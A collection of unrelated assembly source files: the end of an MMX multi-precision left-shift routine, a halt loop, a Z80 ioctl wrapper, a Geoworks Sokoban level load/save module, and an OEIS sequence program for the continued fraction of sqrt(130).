-4(edx,%eax,4) ; | ; +-------+-------+-------+-- ; | xxx | | ; +-------+-------+-------+-- ; 0mod8 4mod8 0mod8 movq mm0,mm1 add ecx,32 ; new shift psllq mm0,mm6 movd mm6,ecx psrlq mm0,32 ; wasted cycle here waiting for %mm0 movd [-4+edx+eax*4],mm0 sub edx,4 Lstart_dst_aligned: psllq mm1,mm6 neg ecx ; -shift add ecx,64 ; 64-shift movq mm2,mm3 movd mm7,ecx sub eax,8 ; size-8 psrlq mm3,mm7 por mm3,mm1 ; mm3 ready to store jc Lfinish ; The comments in mpn_rshift apply here too. ; eax counter,limbs ; ebx src ; ecx ; edx dst ; esi ; edi ; ; mm0 ; mm1 ; mm2 src qword from 16(%ebx,%eax,4) ; mm3 dst qword ready to store to 24(%edx,%eax,4) ; ; mm5 return value ; mm6 lshift ; mm7 rshift align 8 Lunroll_loop: movq mm0,[ebx+eax*4+8] psllq mm2,mm6 movq mm1,mm0 psrlq mm0,mm7 movq [24+edx+eax*4],mm3 por mm0,mm2 movq mm3,[ebx+eax*4] psllq mm1,mm6 movq [16+edx+eax*4],mm0 movq mm2,mm3 psrlq mm3,mm7 sub eax,4 por mm3,mm1 jnc Lunroll_loop Lfinish: ; eax -4 to -1 representing respectively 0 to 3 limbs remaining test al,2 jz Lfinish_no_two movq mm0,[ebx+eax*4+8] psllq mm2,mm6 movq mm1,mm0 psrlq mm0,mm7 movq [24+edx+eax*4],mm3 ; prev por mm0,mm2 movq mm2,mm1 movq mm3,mm0 sub eax,2 Lfinish_no_two: ; eax -4 or -3 representing respectively 0 or 1 limbs remaining ; mm2 src prev qword,from 16(%ebx,%eax,4) ; mm3 dst qword,for 24(%edx,%eax,4) test al,1 movd eax,mm5 ; retval pop edi jz Lfinish_zero ; One extra src limb,destination was aligned. ; ; source ebx ; --+---------------+-------+ ; | mm2 | | ; --+---------------+-------+ ; ; dest edx+12 edx+4 edx ; --+---------------+---------------+-------+ ; | mm3 | | | ; --+---------------+---------------+-------+ ; ; mm6 = shift ; mm7 = ecx = 64-shift ; One extra src limb,destination was unaligned. ; ; source ebx ; --+---------------+-------+ ; | mm2 | | ; --+---------------+-------+ ; ; dest edx+12 edx+4 ; --+---------------+---------------+ ; | mm3 | | ; --+---------------+---------------+ ; ; mm6 = shift+32 ; mm7 = ecx = 64-(shift+32) ; In both cases there's one extra limb of src to fetch and combine ; with mm2 to make a qword at 4(%edx),and in the aligned case ; there's an extra limb of dst to be formed from that extra src limb ; left shifted. movd mm0,[ebx] psllq mm2,mm6 movq [12+edx],mm3 psllq mm0,32 movq mm1,mm0 psrlq mm0,mm7 por mm0,mm2 psllq mm1,mm6 movq [4+edx],mm0 psrlq mm1,32 and ecx,32 pop ebx jz Lfinish_one_unaligned movd [edx],mm1 Lfinish_one_unaligned: emms ret Lfinish_zero: ; No extra src limbs,destination was aligned. ; ; source ebx ; --+---------------+ ; | mm2 | ; --+---------------+ ; ; dest edx+8 edx ; --+---------------+---------------+ ; | mm3 | | ; --+---------------+---------------+ ; ; mm6 = shift ; mm7 = ecx = 64-shift ; No extra src limbs,destination was unaligned. ; ; source ebx ; --+---------------+ ; | mm2 | ; --+---------------+ ; ; dest edx+8 edx+4 ; --+---------------+-------+ ; | mm3 | | ; --+---------------+-------+ ; ; mm6 = shift+32 ; mm7 = ecx = 64-(shift+32) ; The movd for the unaligned case writes the same data to 4(%edx) ; that the movq does for the aligned case. movq [8+edx],mm3 and ecx,32 psllq mm2,mm6 jz Lfinish_zero_unaligned movq [edx],mm2 Lfinish_zero_unaligned: psrlq mm2,32 pop ebx movd eax,mm5 ; retval movd [4+edx],mm2 emms ret end
[BITS 32] global panic_just_halt [SECTION .text] panic_just_halt: HLT JMP panic_just_halt
; int vioctl(int fd, uint16_t request, void *arg) SECTION code_fcntl PUBLIC vioctl EXTERN asm_vioctl vioctl: pop af pop de pop bc pop hl push hl push bc push de push af jp asm_vioctl
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1994 -- All Rights Reserved GEOWORKS CONFIDENTIAL PROJECT: MODULE: FILE: sokobanLevels.asm AUTHOR: Eric Weber, Feb 4, 1994 ROUTINES: Name Description ---- ----------- INT LoadUserLevel Read the contents of a level file into a map INT BuildLevelFilename Turn the level number into a 3 digit decimal string and tack it onto the end of the standard filename INT ParseMap Parse a level file's contents into a Map INT ParseRow Parse one row of the input INT SaveUserLevel Write a map to a DOS file INT SokobanMapToAscii Convert a Map to its ASCII representation INT CreateLevelPath Create the directory for levels INT SokobanLevelError Put up an error dialog box with the level number as its argument. INT FillGrass Force all reachable grass to become floor, and all unreachable floor to become grass. INT FillGrassLow Recursive part of FillGrass INT ValidateCounts Update various counters and ensure the level is valid REVISION HISTORY: Name Date Description ---- ---- ----------- EW 2/ 4/94 Initial revision DESCRIPTION: Code for managing user defined levels $Id: sokobanLevels.asm,v 1.1 97/04/04 15:13:12 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; ; the size of the file is the size of a map, with an extra CR+LF on each line ; MAX_INPUT_SIZE = (MAX_COLUMNS + 2)*MAX_ROWS ; ; FillGrass has a maximum recursive depth of MAX_COLUMNS*MAX_ROWS+1, ; and requires 2 bytes/invocation of stack space. ; FILLSTACK = (MAX_COLUMNS*MAX_ROWS+1)*2 idata segment levelsVolume StandardPath SP_DOCUMENT levelsPath char "\\Sokoban Levels",0 filenameBuffer char "level001.sok",0 levelNumber char "001",0 idata ends CommonCode segment resource ; ; error handling macro ; DoError macro name mov si, offset name call SokobanLevelError stc endm ; ; the grass parser assumes it can twiddle the high bit of a ; SokobanSquareType freely ; CheckHack < SokobanSquareType lt 128 > VISITED equ 128 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LoadUserLevel %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Read the contents of a level file into a map CALLED BY: PASS: es:di - map to modify cx - level number to load RETURN: carry - set on error DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: open the appropriate file read file contents into source buffer parse into rows and transfer to temporary buffer use ReadMapCommon to translate ASCII and fill in caller's map REVISION HISTORY: Name Date Description ---- ---- ----------- EW 2/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LoadUserLevel proc near uses ax,bx,cx,dx,si,di,bp,ds targetPtr local fptr push es,di sourceHandle local hptr temporaryHandle local hptr .enter ; ; goto the directory of user levels ; call FilePushDir GetResourceSegmentNS dgroup, ds mov bx, ds:[levelsVolume] mov dx, offset levelsPath call FileSetCurrentPath LONG jc setPathError ; ; try to open the file ; call BuildLevelFilename mov ax, FILE_DENY_NONE or FILE_ACCESS_R mov dx, offset filenameBuffer call FileOpen ; ax = file handle LONG jc fileOpenError mov bx,ax ; ; allocate a block to hold file data ; push bx mov ax, MAX_INPUT_SIZE clr cl mov ch, mask HAF_LOCK or mask HAF_NO_ERR call MemAlloc ; bx = mem hdl, ax = seg mov ss:[sourceHandle], bx mov ds,ax pop bx ; ; read file into buffer then close the file ; the only possible error is short read, which can be ignored ; clr dx ; ds:dx = buffer mov ax, MAX_INPUT_SIZE ; bytes to read clr al call FileRead ; cx = bytes read mov al, FILE_NO_ERRORS call FileClose jcxz noData ; ; allocate a block to hold the map struct ; push cx mov ax, size Map clr cl mov ch, mask HAF_LOCK or mask HAF_NO_ERR call MemAlloc ; bx = mem hdl, ax = seg mov ss:[temporaryHandle], bx mov es,ax clr di ; es:di = temporary Map pop cx ; ; tranform file data into an ASCII map ; call ParseMap jc parseError ; ; transform ASCII map into real map ; segmov ds,es mov si,di segmov es,ss:[targetPtr].segment, di mov di, ss:[targetPtr].offset call ReadMapCommon clc freeTemporary: ; ; free the temporary buffer ; pushf mov bx, ss:[temporaryHandle] call MemFree popf freeSource: ; ; free the source buffer ; pushf mov bx,ss:[sourceHandle] ; bx = mem hdl of buffer call MemFree popf done: call FilePopDir .leave ret ; ; below this point are all the error conditions ; setPathError: DoError PathErrorMessage jmp done fileOpenError: cmp ax, ERROR_FILE_NOT_FOUND je notFoundError DoError ReadErrorMessage jmp done notFoundError: DoError NoLevelMessage jmp done noData: DoError InvalidLevelMessage jmp freeSource parseError: DoError InvalidLevelMessage jmp freeTemporary LoadUserLevel endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BuildLevelFilename %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Turn the level number into a 3 digit decimal string and tack it onto the end of the standard filename CALLED BY: LoadUserLevel PASS: ds - dgroup cx - level number RETURN: carry - set on error DESTROYED: nothing SIDE EFFECTS: ds:[filenameBuffer] updated PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- EW 2/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BuildLevelFilename proc near uses ax,bx,cx .enter ; ; numbers over 999 are forbidden because they won't fit in a ; DOS extension ; cmp cx, 999 ja illegalLevel jcxz illegalLevel ; ; find the 1s ; mov ax, cx mov bx, 10 div bl ; al = quotient, ah = remainder add ah, C_ZERO mov ds:[filenameBuffer][size filenameBuffer - 6], ah mov ds:[levelNumber][2], ah clr ah ; ; find the 10s ; div bl add ah, C_ZERO mov ds:[filenameBuffer][size filenameBuffer - 7], ah mov ds:[levelNumber][1], ah clr ah ; ; find the 100s ; div bl add ah, C_ZERO mov ds:[filenameBuffer][size filenameBuffer - 8], ah mov ds:[levelNumber], ah ; ; no errors happened ; clc done: .leave ret illegalLevel: stc jmp done BuildLevelFilename endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ParseMap %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Parse a level file's contents into a Map CALLED BY: LoadUserLevel PASS: ds - level file contents cx - length of buffer es:di - Map RETURN: carry - set on error DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: copy the input chars into a Map structure call ReadMapCommon to build the SST version and validate REVISION HISTORY: Name Date Description ---- ---- ----------- EW 2/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ParseMap proc near uses ax,bx,cx,dx,si,di,bp .enter ; ; initialize the map with grass ; push cx,di mov cx, size Map mov al, S_GRASS rep stosb pop cx,di ; ; parse rows until we run out of data ; push di clr si add di, offset M_data mov bp,1 clr ax ; ; es:di = next row to fill ; bp = index of row ; ax = max row size ; doRow: cmp bp, MAX_ROWS ; too many rows? ja excessRows call ParseRow jc parseError cmp dx, MAX_COLUMNS ; too many columns? ja longRow cmp dx,ax ; longest row? jbe shortRow mov ax,dx ; new longest row found shortRow: inc bp ; advance row count add di, MAX_COLUMNS ; advance row pointer tst cx ; more bytes to read? jnz doRow ; if yes, loop pop di ; otherwise, restore ptr ; ; use size of longest row for column count ; mov es:[di].MH_columns, al ; al = size of longest row dec bp ; remove loop slop mov ax,bp mov es:[di].MH_rows, al ; al = number of rows clc done: .leave ret ; ; something went wrong during parsing - bail out ; longRow: excessRows: parseError: pop di stc jmp done ParseMap endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ParseRow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Parse one row of the input CALLED BY: ParseMap PASS: ds:si - data to parse cx - size of data es:di - next row of map RETURN: dx - size of row (excluding CR+LF) cx - decremented by bytes consumed (dx + 2) si - incremented by bytes consumed DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- EW 2/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ParseRow proc near uses ax,bx,di .enter push cx ; remember input size push es,di ; remember map row ; ; find carriage return ; segmov es,ds mov di,si ; es:di = buffer mov al, C_CR ; search for CR repne scasb ; es:di = C_CR+1 if zero set jne noCR cmp {byte} es:[di], C_LF ; next char should be LF jne noCR dec di ; es:di = C_CR sub di,si ; di = length of row ; ; copy line to map ; mov cx,di ; cx = length of row pop es,di ; es:di = map row push cx ; remember length rep movsb ; copy data, ds:si = C_CR ; ; adjust counts ; pop dx ; dx = size of row pop cx ; cx = size of input sub cx,dx ; account for row size dec cx ; account for CR dec cx ; account for LF inc si ; skip CR inc si ; skip LF clc done: .leave ret noCR: pop es,di pop cx stc jmp done ParseRow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SokobanFindEmptyLevel %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return number of first unused level CALLED BY: SokobanCreateLevel PASS: nothing RETURN: cx = level number DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- EW 7/29/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SokobanFindEmptyLevel proc near uses ax,bx,dx,si,di,bp,ds .enter ; ; set level to 1 ; mov cx,1 ; ; goto the directory of user levels ; if it doesn't exist, return level 1 ; call FilePushDir GetResourceSegmentNS dgroup, ds mov bx, ds:[levelsVolume] mov dx, offset levelsPath call FileSetCurrentPath jc searchDone ; ; reset level to zero since it is incremented at top of loop ; clr cx jmp searchLoop ; ; try next level ; closeContinue: mov bx,ax call FileClose searchLoop: cmp cx, 999 je searchDone ; use 999 if nothing else works inc cx ; ; build filename for this level and try to open it ; call BuildLevelFilename mov ax, FILE_DENY_NONE or FILE_ACCESS_R mov dx, offset filenameBuffer call FileOpen ; ax = file handle ; ; if it's there, keep searching ; jnc closeContinue cmp ax, ERROR_FILE_NOT_FOUND jne searchLoop searchDone: call FilePopDir .leave ret SokobanFindEmptyLevel endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SaveUserLevel %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write a map to a DOS file CALLED BY: EditContentSaveLevel PASS: ds:si - Map to write cx - level number RETURN: DESTROYED: nothing SIDE EFFECTS: updates grass and ground in the passed map PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- EW 2/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SaveUserLevel proc near uses ax,bx,cx,dx,si,di,bp,ds,es .enter call FilePushDir ; ; verify various counts ; call ValidateCounts jc done ; ; attempt to normalize the ground and grass ; call FillGrass jc fillError ; ; goto the directory of user levels ; push ds GetResourceSegmentNS dgroup, ds mov bx, ds:[levelsVolume] mov dx, offset levelsPath call FileSetCurrentPath jc setPathError pathOK: ; ; try to open the file ; call BuildLevelFilename mov dx, offset filenameBuffer mov ax, (FILE_DENY_RW or FILE_ACCESS_W) or \ ((mask FCF_NATIVE or FILE_CREATE_TRUNCATE) shl 8) clr cx ; no attributes call FileCreate ; ax = file handle jc fileCreateError mov bx,ax ; bx = file handle ; ; create a temporary block to hold the char version ; of the map ; push bx mov ax, MAX_INPUT_SIZE mov cx, (mask HAF_LOCK or mask HAF_NO_ERR) shl 8 call MemAlloc ; bx = mem hdl, ax = seg mov bp, bx mov es,ax pop bx ; ; convert map to ASCII and write it out ; pop ds ; ds:si = source map call SokobanMapToAscii ; cx = size of output segmov ds, es mov dx, di ; ds:dx = buffer mov al, FILE_NO_ERRORS call FileWrite ; ; close the file and free temporary block ; mov al, FILE_NO_ERRORS call FileClose mov bx, bp call MemFree clc done: call FilePopDir .leave ret ; ; ERROR CONDITIONS ; fillError: DoError UnboundedErrorMessage jmp done setPathError: cmp ax, ERROR_PATH_NOT_FOUND je createPath DoError PathErrorMessage pop ax ; discard junk on stack jmp done createPath: call CreateLevelPath jnc pathOK DoError CreateErrorMessage pop ax ; discard junk on stack jmp done fileCreateError: DoError WriteErrorMessage pop ax ; discard junk on stack jmp done SaveUserLevel endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SokobanMapToAscii %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a Map to its ASCII representation CALLED BY: SaveUserLevel PASS: ds:si - Map es:di - buffer of at least MAX_INPUT_SIZE bytes RETURN: cx - number of bytes written to es:di DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- EW 2/ 5/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SokobanMapToAscii proc near uses ax,bx,dx,dx,bp,si .enter push di ; ; convert source map to ASCII form and discard unused bytes ; mov bx, offset cs:[convertString] ; xlat table mov cl, ds:[si].MH_columns ; column loop counter clr ch mov bp,cx ; used to restore cx mov ah, ds:[si].MH_rows ; row loop counter add si, offset M_data ; ds:si = source data clr di ; es:di = buffer mov dx, MAX_COLUMNS sub dx, cx ; dx = unused bytes/row ; ; copy one row ; top: lodsb ; read SokobanSquareType xlat cs:[bx] ; convert to ASCII stosb ; write to temporary buffer loop top ; next column ; ; write EOL and go to next row ; mov al, C_CR stosb mov al, C_LF stosb add si,dx ; skip unused bytes in map row mov cx,bp ; reset column counter dec ah ; next row jnz top ; ; determine count ; mov cx,di ; es:cx = 1 past end of buffer pop di ; es:di = start of buffer sub cx,di ; cx = size of buffer .leave ret \ convertString char SOKOBAN_SQUARE_TYPE_CHARS SokobanMapToAscii endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CreateLevelPath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create the directory for levels CALLED BY: SaveUserLevel PASS: ds - dgroup RETURN: carry - set if error DESTROYED: nothing SIDE EFFECTS: changes current path to new directory PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- EW 2/ 5/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ rootPath char "\\",0 CreateLevelPath proc near uses ax,bx,cx,dx,si,di,bp .enter ; ; switch to root of volume ; push ds mov bx, ds:[levelsVolume] segmov ds,cs mov dx, offset cs:[rootPath] call FileSetCurrentPath pop ds jc done ; ; create the path ; mov dx, offset ds:[levelsPath] call FileCreateDir jc done ; ; swith to new directory ; call FileSetCurrentPath done: .leave ret CreateLevelPath endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SokobanLevelError %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Put up an error dialog box with the level number as its argument. CALLED BY: UTILITY PASS: si - chunk of error message (in SokobanStrings) RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- EW 2/ 8/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SokobanLevelError proc near uses ax,bx,cx,si,di,bp,ds .enter ; ; get the segments set up ; mov bx, handle SokobanStrings call MemLock mov ds,ax mov di, ds:[si] ; ax:di = err string GetResourceSegmentNS dgroup, ds mov cx,ds mov si, offset levelNumber ; cx:si = filename ; ; skip leading zeros ; cmp {char}ds:[si], C_ZERO jne alloc inc si cmp {char}ds:[si], C_ZERO jne alloc inc si ; ; allocate the parameters ; alloc: sub sp, size StandardDialogParams mov bp,sp mov ss:[bp].SDP_customFlags, CustomDialogBoxFlags <0,CDT_ERROR,GIT_NOTIFICATION,0> movdw ss:[bp].SDP_customString, axdi movdw ss:[bp].SDP_stringArg1, cxsi clrdw ss:[bp].SDP_stringArg2 clrdw ss:[bp].SDP_customTriggers clrdw ss:[bp].SDP_helpContext ; ; put up the dialog ; call UserStandardDialog ; ; release the strings ; call MemUnlock .leave ret SokobanLevelError endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FillGrass %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Force all reachable grass to become floor, and all unreachable floor to become grass. CALLED BY: PASS: ds:si - Map to update RETURN: carry - set if map not closed DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: recursively scan map update all map elements REVISION HISTORY: Name Date Description ---- ---- ----------- EW 2/11/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FillGrass proc near uses ax,bx,cx,dx,si,di,bp,es .enter ; ; get position of player ; mov cx, ds:[si].MH_position.P_x mov dx, ds:[si].MH_position.P_y movdw bxax, cxdx call ConvertArrayCoordinates ; bx <- offset mov bp,si add si,bx ; ds:si = player add si, offset M_data ; ; get bounds ; clr ah mov al, ds:[bp].MH_rows clr bh mov bl, ds:[bp].MH_columns ; ; do the actual computation, borrowing stack if needed ; recurse:: mov di, FILLSTACK call ThreadBorrowStackSpace ; di = token call FillGrassLow call ThreadReturnStackSpace ; preserves flags jc open ; ; setup to scan map ; mov si,bp ; ds:si = map header add si, offset M_data ; ds:si = map data mov di,si segmov es,ds ; es:di = map data mov cx, MAX_ROWS*MAX_COLUMNS ; size of data ; ; update the grass/ground status of each square, and clear all ; the visited bits ; top: lodsb ; al = ds:si++ cmp al, SST_GROUND ; unvisited ground? jne notGround mov al, SST_GRASS jmp notGrass notGround: cmp al, SST_GRASS or VISITED jne notGrass mov al, SST_GROUND notGrass: andnf al, not VISITED stosb loop top ; es:di++ = al clc done:: .leave ret ; ; the map is not properly enclosed ; start by cleaning up the visited bits ; open: mov si, bp add si, offset M_data mov cx, MAX_ROWS*MAX_COLUMNS clean: andnf ds:[si], not VISITED inc si loop clean stc jmp done FillGrass endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FillGrassLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Recursive part of FillGrass CALLED BY: FillGrass PASS: ax - number of rows bx - number of columns cx,dx - x,y coordinate of square to update ds:[si] - address of square to update RETURN: if level properly bounded: carry clear if level not properly bounded; carry set cx,dx,si destroyed SIDE EFFECTS: uses up to FILLSTACK bytes of stack space PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- EW 2/11/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FillGrassLow proc near ; ; check bounds ; tst cx js error tst dx js error cmp cx, bx jae error cmp dx, ax jae error ; ; if we've already been here, no need to continue ; test ds:[si], VISITED jnz done ; ; if its a wall, again no need to continue ; cmp {byte} ds:[si], SST_WALL_NSEW jbe done ; ; mark the square ; ornf ds:[si], VISITED ; ; visit the neighbors in order (W, E, N, S) ; dec si dec cx ; (x-1, y) call FillGrassLow jc abort inc si inc si inc cx inc cx ; (x+1, y) call FillGrassLow jc abort sub si, MAX_COLUMNS+1 dec cx dec dx ; (x, y-1) call FillGrassLow jc abort add si, 2*MAX_COLUMNS inc dx inc dx ; (x, y+1) call FillGrassLow jc abort sub si, MAX_COLUMNS dec dx done: clc abort: ret error: stc jmp abort FillGrassLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ValidateCounts %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Update various counters and ensure the level is valid CALLED BY: SaveUserLevel PASS: ds:si - map to search RETURN: carry - set on error DESTROYED: nothing SIDE EFFECTS: changes MH_position, MH_packets, MH_saved PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- EW 2/11/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ValidateCounts proc near uses ax, bx, cx, bp, si .enter ; ; set up pointers ; mov bp,si ; ds:bp = header add si, offset M_data ; ds:si = data mov cx, size MapArray ; cx = size of data ; ; initialize header ; movdw ds:[bp].MH_position, -1 clr ds:[bp].MH_packets clr ds:[bp].MH_saved clr dx ; dx = # of safe spots top: ; ; search for PLAYER or SAFE_PLAYER ; lodsb cmp al, SST_PLAYER je found_player cmp al, SST_SAFE_PLAYER jne not_player found_player: cmpdw ds:[bp].MH_position, -1 jne multiplayer ; ; convert si to x,y coordinates ; push ax mov bx, si dec bx ; ds:[bx] = player sub bx,bp ; bx = offset from map sub bx, offset M_data ; bx = offset from data mov ax,bx mov bl, MAX_ROWS div bl ; al = row, ah = column mov bl,ah clr ah ; ax = row clr bh ; bx = column mov ds:[bp].MH_position.P_x, bx mov ds:[bp].MH_position.P_y, ax pop ax not_player: ; ; check for SST_BAG ; cmp al, SST_BAG jne not_bag inc ds:[bp].MH_packets ; one more bag not_bag: ; ; check for SST_SAFE ; cmp al, SST_SAFE jne not_safe inc dx ; one more safe spot not_safe: ; ; check for SST_SAFE_PLAYER ; cmp al, SST_SAFE_PLAYER jne not_safe_player inc dx ; one more safe spot not_safe_player: ; ; check for SST_SAFE_BAG ; cmp al, SST_SAFE_BAG jne not_safe_bag inc dx ; one more safe spot inc ds:[bp].MH_packets ; also one more bag inc ds:[bp].MH_saved ; and one more saved bag not_safe_bag: loop top ; ; check for no player ; cmpdw ds:[bp].MH_position, -1 mov si, offset NoPlayerErrorMessage je error ; ; check for more safe spots then bags ; cmp dl, ds:[bp].MH_packets mov si, offset TooFewBagsErrorMessage ja error ; ; check for more bags then safe spots ; mov si, offset TooManyBagsErrorMessage jb error ; ; check for zero bags and zero safe spots ; tst dx mov si, offset ZeroBagsErrorMessage jz error ; ; no errors ; clc done: .leave ret multiplayer: mov si, offset MultiplePlayerErrorMessage error: call SokobanLevelError stc jmp done ValidateCounts endp CommonCode ends
; A040118: Continued fraction for sqrt(130). ; 11,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22,2,2,22 add $0,3 mov $1,3 cmp $1,$0 add $1,3 gcd $0,$1 add $0,$1 pow $0,2 sub $0,14
